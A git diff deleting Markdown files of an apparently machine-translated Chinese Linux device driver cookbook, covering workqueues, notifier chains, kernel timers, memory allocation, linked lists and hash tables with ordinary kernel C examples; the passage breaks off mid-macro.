十、附加信息:管理中断和并发 - -回想一下我们在[第 3 章](https://cdp.packtpub.com/linux_device_driver_development_cookbook/wp-admin/post.php?post=28&action=edit#post_26)、*中使用字符驱动所做的工作,*当我们谈到`read()`系统调用以及如何为我们的字符驱动实现它(参见 GitHub 上的`chapter_4/chrdev/chrdev.c`文件)时,我们注意到我们的实现很棘手,因为数据总是可用的: - -```sh -static ssize_t chrdev_read(struct file *filp, - char __user *buf, size_t count, loff_t *ppos) -{ - struct chrdev_device *chrdev = filp->private_data; - int ret; - - dev_info(chrdev->dev, "should read %ld bytes (*ppos=%lld)\n", - count, *ppos); - - /* Check for end-of-buffer */ - if (*ppos + count >= BUF_LEN) - count = BUF_LEN - *ppos; - - /* Return data to the user space */ - ret = copy_to_user(buf, chrdev->buf + *ppos, count); - if (ret < 0) - return ret; - - *ppos += count; - dev_info(chrdev->dev, "return %ld bytes (*ppos=%lld)\n", count, *ppos); - - return count; -} -``` - -在前面的例子中,`chrdev->buf`内部的数据总是存在的,但是在真实的外设中,这往往不是真的;我们通常必须等待新的数据,然后当前进程应该暂停(即*进入休眠状态*)。这就是为什么我们的`chrdev_read()`应该是这样的: - -```sh -static ssize_t chrdev_read(struct file *filp, - char __user *buf, size_t count, loff_t *ppos) -{ - struct chrdev_device *chrdev = filp->private_data; - int ret; - - /* Wait for available data */ - wait_for_event(chrdev->available > 0); - - /* Check for end-of-buffer */ - if (count > chrdev->available) - count = chrdev->available; - - /* Return data to the user space */ - ret = copy_to_user(buf, ..., count); - if (ret < 0) - return ret; - - *ppos += count; - - return count; -} -``` - -Please note that this example is deliberately not complete, due to the fact that a real (and complete) `read()` system call implementation will be presented in [Chapter 7](07.html), *Advanced Char Driver Operations*. In this chapter, we simply introduce mechanisms and not how we can use them in a device driver. - -通过使用`wait_for_event()`函数,我们要求内核测试是否有一些可用的数据,如果有,允许进程执行,否则,当前进程将被置于睡眠状态,然后一旦条件`chrdev->available > 0`为真,就被再次唤醒。 - -外设通常使用中断来通知中央处理器一些新数据可用(或者一些重要的活动必须用它们来完成),然后很明显,它就在那里,在中断处理程序内部,作为设备驱动开发人员,我们必须通知内核,等待这些数据的睡眠进程应该被唤醒。在接下来的几节中,我们将通过使用非常简单的示例来了解内核中有哪些机制可用,以及如何使用它们来暂停进程,我们还将了解何时可以安全地执行该操作!事实上,如果我们要求调度程序撤销当前进程的中央处理器,将其交给中断处理程序中的另一个进程,我们只是试图执行一个无意义的操作。当我们处于中断上下文中时,我们不是在执行进程代码,那么我们可以撤销哪个进程的 CPU 呢?简单来说,当 CPU 处于进程上下文中时,执行进程可以*进入睡眠*,而当我们处于中断上下文中时,我们不能,因为当前没有进程,官方上,持有 CPU! - -最后一个概念非常重要,设备驱动开发人员必须很好地理解它;事实上,如果我们试图在 CPU 处于中断上下文时进入睡眠状态,那么将会产生一个严重的异常,很可能整个系统都会挂起。 - -另一个需要真正明确的重要概念是**原子操作。**设备驱动不是一个有规律的开始和结束的正常程序;相反,设备驱动是可以同时运行的方法和异步中断处理程序的集合。这就是为什么我们很可能不得不保护我们的数据免受可能破坏它们的比赛条件的影响。 - -例如,如果我们使用缓冲区仅保存从外设接收的数据,我们必须确保数据正确排队,以便读取过程可以读取有效数据,并且不会丢失任何信息。然后,在这些情况下,我们应该使用 Linux 为我们提供的一些互斥机制来完成我们的工作。然而,我们必须注意我们所做的事情,因为这些机制中的一些可以在两个进程或中断上下文中安全使用,而另一些则不能;其中一些只能在进程上下文中使用,如果我们在中断上下文中使用它们,它们会损坏我们的系统。 - -此外,我们应该考虑到现代 CPU 有多个内核,因此使用禁用 CPU 中断以获取原子代码的技巧根本不起作用,必须使用特定的互斥机制来代替。在 Linux 中,这种机制被称为**自旋锁**,它可以在中断或进程上下文中使用,但时间很短,因为它们是使用繁忙等待方法实现的。这意味着,为了执行原子操作,当一个内核在属于这种原子操作的代码的关键部分运行时,中央处理器中的所有其他内核都被排除在同一关键部分之外,使它们通过在紧密循环中主动旋转来等待,这反过来意味着您实际上是在丢弃中央处理器的周期,这些周期没有做任何有用的事情。 - -In the next sections, we're going to see, in detail, all these aspects and we'll try to explain their usage with very simple examples; in [Chapter 7](https://cdp.packtpub.com/linux_device_driver_development_cookbook/wp-admin/post.php?post=28&action=edit#post_30), *Advanced Char Driver Operations*, we'll see how we can use these mechanisms in a device driver.  - -# 推迟工作 - -很久以前就有**下半部分**,也就是一个硬件事件被拆分成两半:上半部分(硬件中断处理程序)和下半部分(软件中断处理程序)。这是因为中断处理程序必须尽快执行,以便为下一个传入的中断做好准备,因此,例如,中央处理器不能长时间停留在中断处理程序的主体中,等待缓慢的外围设备发送或接收其数据。这就是为什么我们使用下半部分;中断被分成两部分:上半部分,真正的硬件中断处理程序,执行速度快,禁用中断,简单地确认外设,然后启动下半部分,启用中断执行,可以安全地完成发送/接收作业,慢慢来。 - -然而,下半部分非常有限,所以内核开发人员在 Linux 2.4 系列中引入了**小任务**。小任务允许以非常简单的方式动态创建可推迟的函数;它们是在软件中断上下文中执行的,适合快速执行,因为它们无法休眠。然而,如果我们需要睡觉,我们必须使用另一种机制。在 Linux 2.6 系列中,引入了**工作队列**来替代一个类似的被称为 taskqueue 的结构,它已经出现在 Linux 2.4 系列中;它们允许内核函数像小任务一样被激活(或延迟)以供以后执行,但相比之下,小任务(在软件中断内执行)在称为**工作线程**的特殊内核线程中执行。这意味着两者都可以用于推迟作业,但是工作队列处理程序可以休眠。当然,这个处理程序有更高的延迟,但是相比之下,工作队列包含更丰富的工作延迟应用编程接口。 - -在结束这个食谱之前,还有另外两个重要的概念需要讨论:共享工作队列和`container_of()`宏。 - -# 共享工作队列 - -食谱中的前一个例子可以通过使用**共享工作队列**来简化。这是一个由内核本身定义的特殊工作队列,如果设备驱动(和其他内核实体)承诺*不会长时间独占队列(即没有长时间的睡眠,也没有长时间运行的任务),如果他们接受他们的处理程序可能需要更长的时间才能获得公平的 CPU 份额的事实,他们就可以使用这个队列。如果两个条件都满足,我们可以避免用`create_singlethread_workqueue()`创建自定义工作队列,我们可以简单地使用`schedule_work()`和`schedule_delayed_work()`来安排工作,如下所示。以下是处理程序:* - -```sh ---- a/drivers/misc/irqtest.c -+++ b/drivers/misc/irqtest.c -... -+static void irqtest_work_handler(struct work_struct *ptr) -+{ -+ struct irqtest_data *info = container_of(ptr, struct irqtest_data, -+ work); -+ struct device *dev = info->dev; -+ -+ dev_info(dev, "work executed after IRQ %d", info->irq); -+ -+ /* Schedule the delayed work after 2 seconds */ -+ schedule_delayed_work(&info->dwork, 2*HZ); -+} -+ - static irqreturn_t irqtest_interrupt(int irq, void *dev_id) - { - struct irqtest_data *info = dev_id; -@@ -36,6 +60,8 @@ static irqreturn_t irqtest_interrupt(int irq, void *dev_id) - - dev_info(dev, "interrupt occurred on IRQ %d\n", irq); - -+ schedule_work(&info->work); -+ - return IRQ_HANDLED; - } -``` - -然后,初始化和删除的修改: - -```sh -@@ -80,6 +106,10 @@ static int irqtest_probe(struct platform_device *pdev) - dev_info(dev, "GPIO %u correspond to IRQ %d\n", - irqinfo.pin, irqinfo.irq); - -+ /* Init works */ -+ INIT_WORK(&irqinfo.work, irqtest_work_handler); -+ INIT_DELAYED_WORK(&irqinfo.dwork, irqtest_dwork_handler); -+ - /* Request IRQ line and setup corresponding handler */ - irqinfo.dev = dev; - ret = request_irq(irqinfo.irq, irqtest_interrupt, 0, -@@ -98,6 +128,8 @@ static int irqtest_remove(struct platform_device *pdev) - { - struct device *dev = &pdev->dev; - -+ cancel_work_sync(&irqinfo.work); -+ cancel_delayed_work_sync(&irqinfo.dwork); - free_irq(irqinfo.irq, &irqinfo); - dev_info(dev, "IRQ %d is now unmanaged!\n", irqinfo.irq); -``` - -The preceding patch can be found in the GitHub repository in the `add_workqueue_2_to_irqtest_module.patch` file and it can be applied as usual with the following command: - -**`$ patch -p1 < add_workqueue_2_to_irqtest_module.patch`** - -# ()宏的容器 - -最后,我们应该用一些词来解释一下`container_of()`宏。该宏在`linux/include/linux/kernel.h`中定义如下: - -```sh -/** - * container_of - cast a member of a structure out to the containing structure - * @ptr: the pointer to the member. - * @type: the type of the container struct this is embedded in. - * @member: the name of the member within the struct. - * - */ -#define container_of(ptr, type, member) ({ \ - void *__mptr = (void *)(ptr); \ - BUILD_BUG_ON_MSG(!__same_type(*(ptr), ((type *)0)->member) && \ - !__same_type(*(ptr), void), \ - "pointer type mismatch in container_of()"); \ - ((type *)(__mptr - offsetof(type, member))); }) -``` - -`container_of()`函数接受三个参数:一个指针`ptr`,容器的`type`,以及指针在容器内引用的`member`的名称。通过使用这些信息,宏可以扩展到指向包含结构的新地址,该结构容纳相应的成员。 - -因此,在我们的例子中,在`irqtest_work_handler()`中,我们可以得到一个`struct irqtest_data`指针来告诉`container_of()`它的名为`work`的成员的地址。 - -For further information regarding `container_of()` function, the internet is your friend; however, a good starting point is in kernel sources within the  `linux/Documentation/driver-model/design-patterns.txt` file, which describes a few common design patterns found in device drivers using this macro. - -看看**通知链**,简称为**通知器**,可能会很有意思,这是内核提供的一种通用机制,旨在为内核元素提供一种方式来表达对被告知通用**异步** **事件**发生的兴趣。 - -# 通知程序 - -通知机制的基本构件是`linux/include/linux/notifier.h`头文件中定义的`struct notifier_block`,如下所示: - -```sh -typedef int (*notifier_fn_t)(struct notifier_block *nb, - unsigned long action, void *data); - -struct notifier_block { - notifier_fn_t notifier_call; - struct notifier_block __rcu *next; - int priority; -}; -``` - -该结构包含事件发生时要调用的函数的指针`notifier_call`。调用通知函数时传递给它的参数包括一个指向通知块本身的`nb`指针、一个依赖于特定使用链的事件`action`代码和一个指向未指定私有数据类型的`data`指针,它们可以以类似于小任务或等待队列的方式使用。 - -`next`字段由通知程序内部管理,而`priority`字段定义了`notifier_call`所指向的功能在通知程序链中的优先级。首先,执行具有较高优先级的功能。实际上,几乎所有注册的优先级都被排除在通知程序块定义之外,这意味着它的默认值为 0,执行顺序最终仅取决于注册顺序(即半随机顺序)。 - -设备驱动开发人员不应该需要创建自己的通知程序,通常他们需要使用现有的通知程序。Linux 定义了几个通知程序,如下所示: - -* 网络设备通知程序(参见`linux/include/linux/netdevice.h`)—报告网络设备的事件 -* 背光通知器(参见`linux/include/linux/backlight.h`)—报告液晶背光事件 -* 暂停通知程序(参见`linux/include/linux/suspend.h`)—报告暂停和恢复相关事件的能力 -* 重启通知程序(参见`linux/include/linux/reboot.h`)—报告重启请求 -* 电源通知器(见`linux/include/linux/power_supply.h`)—报告电源活动 - -每个通知程序都有一个注册功能,可以用来要求系统在特定事件发生时得到通知。例如,以下代码是请求网络设备和重新启动事件的有用示例: - -```sh -static int __init notifier_init(void) -{ - int ret; - - ninfo.netdevice_nb.notifier_call = netdevice_notifier; - ninfo.netdevice_nb.priority = 10; - - ret = register_netdevice_notifier(&ninfo.netdevice_nb); - if (ret) { - pr_err("unable to register netdevice notifier\n"); - return ret; - } - - ninfo.reboot_nb.notifier_call = reboot_notifier; - ninfo.reboot_nb.priority = 10; - - ret = register_reboot_notifier(&ninfo.reboot_nb); - if (ret) { - pr_err("unable to register reboot notifier\n"); - goto unregister_netdevice; - } - - pr_info("notifier module loaded\n"); - - return 0; - -unregister_netdevice: - unregister_netdevice_notifier(&ninfo.netdevice_nb); - return ret; -} - -static void __exit notifier_exit(void) -{ - unregister_netdevice_notifier(&ninfo.netdevice_nb); - unregister_reboot_notifier(&ninfo.reboot_nb); - - pr_info("notifier module unloaded\n"); -} -``` - -All code presented here is in the `notifier.c` file from GitHub repository regarding this chapter. - -`register_netdevice_notifier()`和`register_reboot_notifier()`函数都在如下定义的两个结构通知程序块上工作: - -```sh -static struct notifier_data { - struct notifier_block netdevice_nb; - struct notifier_block reboot_nb; - unsigned int data; -} ninfo; -``` - -通知函数是这样定义的: - -```sh -static int netdevice_notifier(struct notifier_block *nb, - unsigned long code, void *unused) -{ - struct notifier_data *ninfo = container_of(nb, struct notifier_data, - netdevice_nb); - - pr_info("netdevice: event #%d with code 0x%lx caught!\n", - ninfo->data++, code); - - return NOTIFY_DONE; -} - -static int reboot_notifier(struct notifier_block *nb, - unsigned long code, void *unused) -{ - struct notifier_data *ninfo = container_of(nb, struct notifier_data, - reboot_nb); - - pr_info("reboot: event #%d with code 0x%lx caught!\n", - ninfo->data++, code); - - return NOTIFY_DONE; -} -``` - -通过使用`container_of()`,像往常一样,我们可以得到一个指向我们的数据结构的指针,`struct notifier_data`;然后,一旦我们的工作完成,我们必须返回一个在`linux/include/linux/notifier.h`标题中定义的固定值: - -```sh -#define NOTIFY_DONE 0x0000 /* Don't care */ -#define NOTIFY_OK 0x0001 /* Suits me */ -#define NOTIFY_STOP_MASK 0x8000 /* Don't call further */ -#define NOTIFY_BAD (NOTIFY_STOP_MASK|0x0002) /* Bad/Veto action */ -``` - -它们的含义如下: - -* `NOTIFY_DONE`:对这个通知不感兴趣。 -* `NOTIFY_OK`:通知处理正确。 -* `NOTIFY_BAD`:这个通知有问题,所以停止调用这个事件的回调函数! - -`NOTIFY_STOP_MASK`可用于封装(负)`errno`值,如下所示: - -```sh -/* Encapsulate (negative) errno value (in particular, NOTIFY_BAD <=> EPERM). */ -static inline int notifier_from_errno(int err) -{ - if (err) - return NOTIFY_STOP_MASK | (NOTIFY_OK - err); - - return NOTIFY_OK; -} -``` - -然后可以通过`notifier_to_errno()`检索`errno`值,如下所示: - -```sh -/* Restore (negative) errno value from notify return value. */ -static inline int notifier_to_errno(int ret) -{ - ret &= ~NOTIFY_STOP_MASK; - return ret > NOTIFY_OK ? NOTIFY_OK - ret : 0; -} -``` - -为了测试我们的简单示例,我们必须编译`notifier.c`内核模块,然后将`notifier.ko`模块移动到 ESPRESSObin,在这里它可以插入内核,如下所示: - -```sh -# insmod notifier.ko -notifier:netdevice_notifier: netdevice: event #0 with code 0x5 caught! -notifier:netdevice_notifier: netdevice: event #1 with code 0x1 caught! -notifier:netdevice_notifier: netdevice: event #2 with code 0x5 caught! -notifier:netdevice_notifier: netdevice: event #3 with code 0x5 caught! -notifier:netdevice_notifier: netdevice: event #4 with code 0x5 caught! -notifier:netdevice_notifier: netdevice: event #5 with code 0x5 caught! -notifier:notifier_init: notifier module loaded -``` - -刚插入后,有些事件已经通知了;但是,要生成新事件,我们可以尝试使用以下`ip`命令禁用或启用网络设备: - -```sh -# ip link set lan0 up -notifier:netdevice_notifier: netdevice: event #6 with code 0xd caught! -RTNETLINK answers: Network is down -``` - -代码`0xd`对应于`linux/include/linux/netdevice.h`中定义的`NETDEV_PRE_UP`事件: - -```sh -/* netdevice notifier chain. Please remember to update netdev_cmd_to_name() - * and the rtnetlink notification exclusion list in rtnetlink_event() when - * adding new types. - */ -enum netdev_cmd { - NETDEV_UP = 1, /* For now you can't veto a device up/down */ - NETDEV_DOWN, - NETDEV_REBOOT, /* Tell a protocol stack a network interface - detected a hardware crash and restarted - - we can use this eg to kick tcp sessions - once done */ - NETDEV_CHANGE, /* Notify device state change */ - NETDEV_REGISTER, - NETDEV_UNREGISTER, - NETDEV_CHANGEMTU, /* notify after mtu change happened */ - NETDEV_CHANGEADDR, - NETDEV_GOING_DOWN, - NETDEV_CHANGENAME, - NETDEV_FEAT_CHANGE, - NETDEV_BONDING_FAILOVER, - NETDEV_PRE_UP, -... -``` - -如果我们重新启动系统,我们应该会在内核消息中看到以下消息: - -```sh -# reboot -... -[ 2804.502671] notifier:reboot_notifier: reboot: event #7 with code 1 caught! -``` - -# 内核定时器 - -一个**内核定时器**是一个简单的方法,要求内核在一段明确定义的时间后执行一个特定的功能。Linux 实现了两种不同类型的内核定时器:在`linux/include/linux/timer.h`头文件中定义的旧的但仍然有效的内核定时器和在`linux/include/linux/hrtimer.h `头文件中定义的新的**高分辨率**内核定时器。即使它们的实现方式不同,两种机制的工作方式也非常相似:我们必须声明一个保存计时器数据的结构,该结构可以通过适当的函数进行初始化,然后可以使用适当的函数启动计时器。一旦超时,计时器将调用一个处理程序来执行所需的操作,最终,我们有可能停止或重新启动计时器。 - -传统内核定时器仅在分辨率为 1 jiffy 时受支持。jiffy 的长度取决于 Linux 内核中定义的`HZ`的值(参见`linux/include/asm-generic/param.h `文件);通常,在 PC 和其他一些平台上是 1 毫秒,而在大多数嵌入式平台上设置为 10 毫秒。过去,1 毫秒的分辨率解决了设备驱动开发人员的大多数问题,但如今,大多数外设需要更高的分辨率才能得到正确管理。这就是为什么更高分辨率的计时器开始发挥作用,使系统能够在更精确的时间间隔内快速唤醒和处理数据。目前,内核定时器已经被高分辨率定时器废弃(即使它们仍然围绕内核源使用),其目标是在 Linux 中实现 POSIX 1003.1b 第 14 节(时钟和定时器)API,即精度优于 1 jiffy 的定时器。 - -Note that we just saw that, to delay a job, we can also use delayed workqueues.* \ No newline at end of file diff --git a/docs/linux-device-driver-dev-cb/11.md b/docs/linux-device-driver-dev-cb/11.md deleted file mode 100644 index 29f097a7..00000000 --- a/docs/linux-device-driver-dev-cb/11.md +++ /dev/null @@ -1,708 +0,0 @@ -# 十一、附加信息:内核内部杂项 - -这里有一些关于动态内存分配和输入/输出内存访问方法的一般信息。 - -在谈论动态内存分配时,我们应该记住,我们是在内核中用 C 语言编程的,所以记住每个分配的内存块在不再使用时都必须释放出来,这一点非常重要。这一点非常重要,因为在用户空间中,当一个进程结束其执行时,内核(它实际上知道该进程拥有的所有内存块)可以轻松地取回所有进程分配的内存;但是这对内核来说并不成立。事实上,请求内存块的驱动(或其他内核实体)必须确保释放内存块,否则,没有人会请求释放内存块,并且在机器重新启动之前,内存块将会丢失。 - -关于对 I/O 内存的访问,这是由外围寄存器下面的存储单元组成的区域,我们必须考虑到我们不能使用它们的物理内存地址来访问它们;相反,我们将不得不使用相应的虚拟。事实上,Linux 是一个使用**内存管理单元** ( **MMU** )来虚拟化和保护内存访问的操作系统,因此我们必须将每个外围设备的物理内存区域重新映射到其对应的虚拟内存区域,以便能够读写它们。 - -这个操作可以通过使用第章代码片段中的内核函数轻松完成,但最重要的是要指出,它必须在尝试任何输入/输出内存访问之前完成,否则将触发分段错误。这可能会终止用户空间中的进程,或者因为设备驱动中的错误而终止内核本身。 - -# 动态存储分配 - -分配内存最直接的方法就是使用`kmalloc()`函数,为了安全起见,最好使用将分配的内存清零的例程,比如`kzalloc()`函数。另一方面,如果我们需要为一个数组分配内存,有`kmalloc_array()`和`kcalloc()`专用功能。 - -下面是头文件`linux/include/linux/slab.h`中报告的一些包含内存分配内核函数(和相对内核内存释放函数)的片段: - -```sh -/** - * kmalloc - allocate memory - * @size: how many bytes of memory are required. - * @flags: the type of memory to allocate. -... -*/ -static __always_inline void *kmalloc(size_t size, gfp_t flags); - -/** - * kzalloc - allocate memory. The memory is set to zero. - * @size: how many bytes of memory are required. - * @flags: the type of memory to allocate (see kmalloc). - */ -static inline void *kzalloc(size_t size, gfp_t flags) -{ - return kmalloc(size, flags | __GFP_ZERO); -} - -/** - * kmalloc_array - allocate memory for an array. - * @n: number of elements. - * @size: element size. - * @flags: the type of memory to allocate (see kmalloc). - */ -static inline void *kmalloc_array(size_t n, size_t size, gfp_t flags); - -/** - * kcalloc - allocate memory for an array. The memory is set to zero. - * @n: number of elements. - * @size: element size. - * @flags: the type of memory to allocate (see kmalloc). - */ -static inline void *kcalloc(size_t n, size_t size, gfp_t flags) -{ - return kmalloc_array(n, size, flags | __GFP_ZERO); -} - -void kfree(const void *); -``` - -所有上述函数揭示了用户空间对应函数`malloc()`和其他内存分配函数之间的两个主要区别: - -1. 可以分配给`kmalloc()`和好友的最大块大小是有限的。实际的限制取决于硬件和内核配置,但是对于小于页面大小的对象,使用`kmalloc()`和其他内核助手是一个很好的做法。 - -The number of bytes that make a page size is stated by defined `PAGE_SIZE` info kernel sources in the `linux/include/asm-generic/page.h` file; usually, it's 4096 bytes for 32-bit systems and 8192 bytes for 64-bit systems. It can be explicitly chosen by the user via the usual kernel configuration mechanism.  - -2. 用于动态内存分配的内核函数,如`kmalloc()`和类似的函数会额外增加一个参数;分配标志用于以多种方式指定`kmalloc()`的行为,如下面来自内核源代码的`linux/include/linux/slab.h`文件的片段中所报告的: - -```sh -/** - * kmalloc - allocate memory - * @size: how many bytes of memory are required. - * @flags: the type of memory to allocate. - * - * kmalloc is the normal method of allocating memory - * for objects smaller than page size in the kernel. - * - * The @flags argument may be one of: - * - * %GFP_USER - Allocate memory on behalf of user. May sleep. - * - * %GFP_KERNEL - Allocate normal kernel ram. May sleep. - * - * %GFP_ATOMIC - Allocation will not sleep. May use emergency pools. - * For example, use this inside interrupt handlers. - * - * %GFP_HIGHUSER - Allocate pages from high memory. - * - * %GFP_NOIO - Do not do any I/O at all while trying to get memory. - * - * %GFP_NOFS - Do not make any fs calls while trying to get memory. - * - * %GFP_NOWAIT - Allocation will not sleep. -... -``` - -我们可以看到,有很多旗帜;然而,设备驱动开发人员将主要对`GFP_KERNEL`和`GFP_ATOMIC`感兴趣。 - -很明显,这两个标志的主要区别在于,前者可以分配正常的内核 RAM,并且它可能会休眠,而后者在不允许调用者休眠的情况下也是如此。这是两个函数之间的一个很大的区别,因为它告诉我们当我们处于中断上下文或进程上下文中时,我们必须使用哪个标志。 - -如[第 5 章](https://cdp.packtpub.com/linux_device_driver_development_cookbook/wp-admin/post.php?post=6&action=edit#post_28)、*管理中断和并发*、中所见,当我们处于中断上下文中时,我们无法休眠(如上面的代码中所报告的),在这些情况下,我们必须通过指定`GFP_ATOMIC`标志来调用`kmalloc()`和朋友,而`GFP_KERNEL`标志可以在其他地方使用,记住它可以导致调用方休眠,然后 CPU 可能会让我们执行其他东西;因此,我们应该避免做以下事情: - -```sh -spin_lock(...); -ptr = kmalloc(..., GFP_KERNEL); -spin_unlock(...); -``` - -事实上,即使我们在进程上下文中执行,在持有自旋锁的同时执行一个休眠的`kmalloc()`也被认为是邪恶的!所以,在这种情况下,我们无论如何都必须使用`GFP_ATOMIC`标志。此外,请注意,成功的`GFP_ATOMIC`分配请求的最大大小往往小于`GFP_KERNEL`请求,原因与这里明确提到的相同,涉及物理上连续的内存分配,并且内核保持有限的内存池随时可供原子分配使用。 - -关于上面的第一点,关于可分配内存块的有限大小,对于大的分配,我们可以考虑使用另一类函数:`vmalloc()`和`vzalloc()`,即使我们必须强调这样一个事实,即由`vmalloc()`和相关函数分配的内存不是物理上连续的,不能用于**直接内存访问** ( **DMA** )活动(而`kmalloc()`和 friends,如前所述,在虚拟和物理寻址空间中分配连续的内存区域)。 - -Allocating memory for DMA activities is currently not addressed in this book; however, you may get further information regarding this issue in kernel sources within the `linux/Documentation/DMA-API.txt` and `linux/Documentation/DMA-API-HOWTO.txt` files. - -以下是`linux/include/linux/vmalloc.h`头文件中报告的`vmalloc()`函数和好友定义的原型: - -```sh -extern void *vmalloc(unsigned long size); -extern void *vzalloc(unsigned long size); -``` - -如果不确定`kmalloc()`的分配规模是否过大,可以使用`kvmalloc()`及其派生词。该功能将尝试使用`kmalloc()`分配内存,如果分配失败,将退回到`vmalloc()`。 - -Note that `kvmalloc()`may return memory that is not physically contiguous. - -如`kvmalloc_node()`文档中[https://www . kernel . org/doc/html/latest/core-API/mm-API . html # c . kvmalloc _ node](https://www.kernel.org/doc/html/latest/core-api/mm-api.html#c.kvmalloc_node)所述,`GFP_*`标志也有使用限制。 - -以下是`linux/include/linux/mm.h`头文件中报告的关于`kvmalloc()`、`kvzalloc()`、`kvmalloc_array()`、`kvcalloc()`和`kvfree()`的代码片段: - -```sh -static inline void *kvmalloc(size_t size, gfp_t flags) -{ - return kvmalloc_node(size, flags, NUMA_NO_NODE); -} - -static inline void *kvzalloc(size_t size, gfp_t flags) -{ - return kvmalloc(size, flags | __GFP_ZERO); -} - -static inline void *kvmalloc_array(size_t n, size_t size, gfp_t flags) -{ - size_t bytes; - - if (unlikely(check_mul_overflow(n, size, &bytes))) - return NULL; - - return kvmalloc(bytes, flags); -} - -static inline void *kvcalloc(size_t n, size_t size, gfp_t flags) -{ - return kvmalloc_array(n, size, flags | __GFP_ZERO); -} - -extern void kvfree(const void *addr); -``` - -# 内核双链表 - -当使用 Linux 的**双链表**接口时,我们应该始终记住这些链表函数不执行锁定,因此我们的设备驱动(或其他内核实体)有可能试图在同一个链表上执行并发操作。这就是为什么我们必须确保实现一个好的锁定方案来保护我们的数据免受竞争条件的影响。 - -要使用列表机制,我们的驱动必须包含头文件`linux/include/linux/list.h`;该文件包括标题`linux/include/linux/types.h`,其中`struct list_head`类型的简单结构定义如下: - -```sh -struct list_head { - struct list_head *next, *prev; -}; -``` - -我们可以看到,这个结构包含两个指向一个`list_head`结构的指针(`prev`和`next`);这两个指针实现了双向链表功能。然而,有趣的是`struct list_head`没有像在规范列表实现中那样的专用数据字段。事实上,在 Linux 内核列表实现中,数据字段并没有嵌入列表元素本身;相反,列表结构应该包含在相关的数据结构中。这可能会令人困惑,但实际上并非如此;事实上,为了在我们的代码中使用 Linux 列表工具,我们只需要在使用列表的结构中嵌入一个`struct list_head`。 - -我们如何将对象结构声明到设备驱动中的一个简单示例如下: - -```sh -struct l_struct { - int data; - ... - /* other driver specific fields */ - ... - struct list_head list; -}; -``` - -通过这样做,我们创建了一个带有自定义数据的双向链表。然后,为了有效地创建我们的列表,我们只需要使用以下代码声明和初始化列表头: - -```sh -struct list_head data_list; -INIT_LIST_HEAD(&data_list); -``` - -As per other kernel structures, we have the compile time counterpart macro `LIST_HEAD()`, which can be used to do the same in case of non-dynamic list allocation. In our example, we can do as follows: `LIST_HEAD(data_list)`; - -一旦列表头被声明并正确初始化,我们可以使用几个函数,仍然来自`linux/include/linux/list.h`文件,来添加、移除或进行其他列表条目操作。 - -如果我们看一下头文件,我们可以看到以下函数在列表中添加或删除元素: - -```sh -/** - * list_add - add a new entry - * @new: new entry to be added - * @head: list head to add it after - * - * Insert a new entry after the specified head. - * This is good for implementing stacks. - */ -static inline void list_add(struct list_head *new, struct list_head *head); - - * list_del - deletes entry from list. - * @entry: the element to delete from the list. - * Note: list_empty() on entry does not return true after this, the entry is - * in an undefined state. - */ -static inline void list_del(struct list_head *entry); -``` - -以下用新条目替换旧条目的功能也是可见的: - -```sh -/** - * list_replace - replace old entry by new one - * @old : the element to be replaced - * @new : the new element to insert - * - * If @old was empty, it will be overwritten. - */ -static inline void list_replace(struct list_head *old, - struct list_head *new); -... -``` - -This is just a subset of all available functions. You are encouraged to take a look at the `linux/include/linux/list.h` file to discover more. - -然而,除了可以用来在列表中添加或移除条目的上述函数之外,更有趣的是看到用于创建循环的宏,这些循环遍历列表。例如,如果我们希望以有序的方式添加一个新条目,我们可以这样做: - -```sh -void add_ordered_entry(struct l_struct *new) -{ - struct list_head *ptr; - struct my_struct *entry; - - list_for_each(ptr, &data_list) { - entry = list_entry(ptr, struct l_struct, list); - if (entry->data < new->data) { - list_add_tail(&new->list, ptr); - return; - } - } - list_add_tail(&new->list, &data_list) -} -``` - -通过使用`list_for_each()`宏,我们迭代列表,通过使用`list_entry()`,我们获得一个指向封闭数据的指针。请注意,我们必须将指向当前元素`ptr`(我们的结构类型)的指针传递给`list_entry()`,然后传递给我们的结构中的列表条目的名称(在前面的示例中是`list`)。 - -最后,我们可以使用`list_add_tail()`函数在正确的位置添加新元素。 - -Note that `list_entry()` simply uses the `container_of()` macro to do its job. The macro is explained in [Chapter 5](05.html)*, Managing Interrupts and Concurrency,* The container_of() macro section. - -如果我们再看一下`linux/include/linux/list.h`文件,我们可以看到更多的函数可以用来从列表中获取一个条目,或者以不同的方式迭代所有列表元素: - -```sh -/** - * list_entry - get the struct for this entry - * @ptr: the &struct list_head pointer. - * @type: the type of the struct this is embedded in. - * @member: the name of the list_head within the struct. - */ -#define list_entry(ptr, type, member) \ - container_of(ptr, type, member) - -/** - * list_first_entry - get the first element from a list - * @ptr: the list head to take the element from. - * @type: the type of the struct this is embedded in. - * @member: the name of the list_head within the struct. - * - * Note, that list is expected to be not empty. - */ -#define list_first_entry(ptr, type, member) \ - list_entry((ptr)->next, type, member) - -/** - * list_last_entry - get the last element from a list - * @ptr: the list head to take the element from. - * @type: the type of the struct this is embedded in. - * @member: the name of the list_head within the struct. - * - * Note, that list is expected to be not empty. - */ -#define list_last_entry(ptr, type, member) \ - list_entry((ptr)->prev, type, member) -... -``` - -一些宏对于遍历每个列表的元素也很有用: - -```sh -/** - * list_for_each - iterate over a list - * @pos: the &struct list_head to use as a loop cursor. - * @head: the head for your list. - */ -#define list_for_each(pos, head) \ - for (pos = (head)->next; pos != (head); pos = pos->next) - -/** - * list_for_each_prev - iterate over a list backwards - * @pos: the &struct list_head to use as a loop cursor. - * @head: the head for your list. - */ -#define list_for_each_prev(pos, head) \ - for (pos = (head)->prev; pos != (head); pos = pos->prev) -... -``` - -Again you should note that this is just a subset of all available functions, so you are encouraged to take a look at the `linux/include/linux/list.h` file to discover more. - -# 内核哈希表 - -如前所述,对于链表,当使用 Linux 的**哈希表**接口时,我们应该始终记住这些哈希函数不执行锁定,因此我们的设备驱动(或其他内核实体)可能会尝试在同一个哈希表上执行并发操作。这就是为什么我们必须确保实施一个好的锁定方案来保护我们的数据免受竞争条件的影响。 - -与内核列表一样,我们可以使用以下代码声明并初始化一个大小为 2 的哈希表: - -```sh -DECLARE_HASHTABLE(data_hash, bits) -hash_init(data_hash); -``` - -As per lists, we have the compile time counterpart macro `DEFINE_HASHTABLE()`, which can be used to do the same in case of a non-dynamic hash table allocation. In our example, we can use `DEFINE_HASHTABLE(data_hash, bits)`; - -这将创建并初始化一个名为`data_hash`的表,以及基于位的 2 次方大小。如上所述,该表是使用包含内核`struct hlist_head`类型的桶来实现的;这是因为内核哈希表是使用哈希链实现的,而哈希冲突只是添加到列表的头部。为了更好地理解这一点,我们可以参考`DECLARE_HASHTABLE()`的宏观定义: - -```sh -#define DECLARE_HASHTABLE(name, 